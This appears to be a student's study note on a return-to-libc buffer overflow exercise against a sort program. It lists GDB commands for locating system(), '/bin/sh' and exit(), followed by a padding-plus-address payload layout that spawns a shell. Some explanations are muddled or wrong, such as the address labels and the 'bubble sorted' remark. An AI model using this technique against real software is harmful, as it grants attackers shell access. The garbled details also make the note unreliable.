How to run a shell from a buffer overflow

<https://stackoverflow.com/questions/19124095/return-to-lib-c-buffer-overflow-exercise-issue>

1. Get code that has a buffer overflow vulnerability
2. Determine the point that it overflows
3. Use GDB to find the address of system() call
   1. Gdb sort data.txt (runs under gdb)
   2. Break main (insert a break)
   3. Run {runs code}
   4. Print &system {location of system()}
      1. 0xb7e57190
   5. Find &system, +9999999, “/bin/sh” {searches from system start to +9999999 which is the biggest a 7 character search string can be – search range can be bigger but it is guaranteed to find it between 0 and 9999999 (it is a base 10 number)}
      1. 0xb7f77a24
   6. Print &exit {to Find exit()address to send program back to start and avoid a seg fault}
      1. 0xb7e4a1e0
4. Find the length of the buffer – the point where program seg faults because the return address was over written – send aaaaaaaa (x8) until it throws a segmentation fault

Aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

b7e57190 //system() ret

b7f77a24 //”/bin/sh” ret-8

b7e57190//system() ret-16 locals

b7e4a1e0//”bin/sh” ret -32 displayed 804883c bffff06c, bffff068 bffff070

1. gdb
2. info frame {command will display the current stack frame.}
3. break main
4. run
5. info frame
6. set disassembly-flavor intel

buffer fill must be lower in order of first address of shell code because otherwise it gets bubble sorted out.

Arglist = bffff068

Frame pointer bffff070 4

Ebp at bffff068 = frame counter

EIP is the return address bffff06c 4

Swap = 32 bits 8 bytes

Array = 8 bytes\*9 = 72

4 bytes frame counter, 4 bytes return address

So after the array, the stack frame pointer is overwritten and then the return address is written

Function goes to system with arguments at a lower address and then returns to where it came from

Pops function from stack and goes to the next instruction (system with argument exit in the next lower address.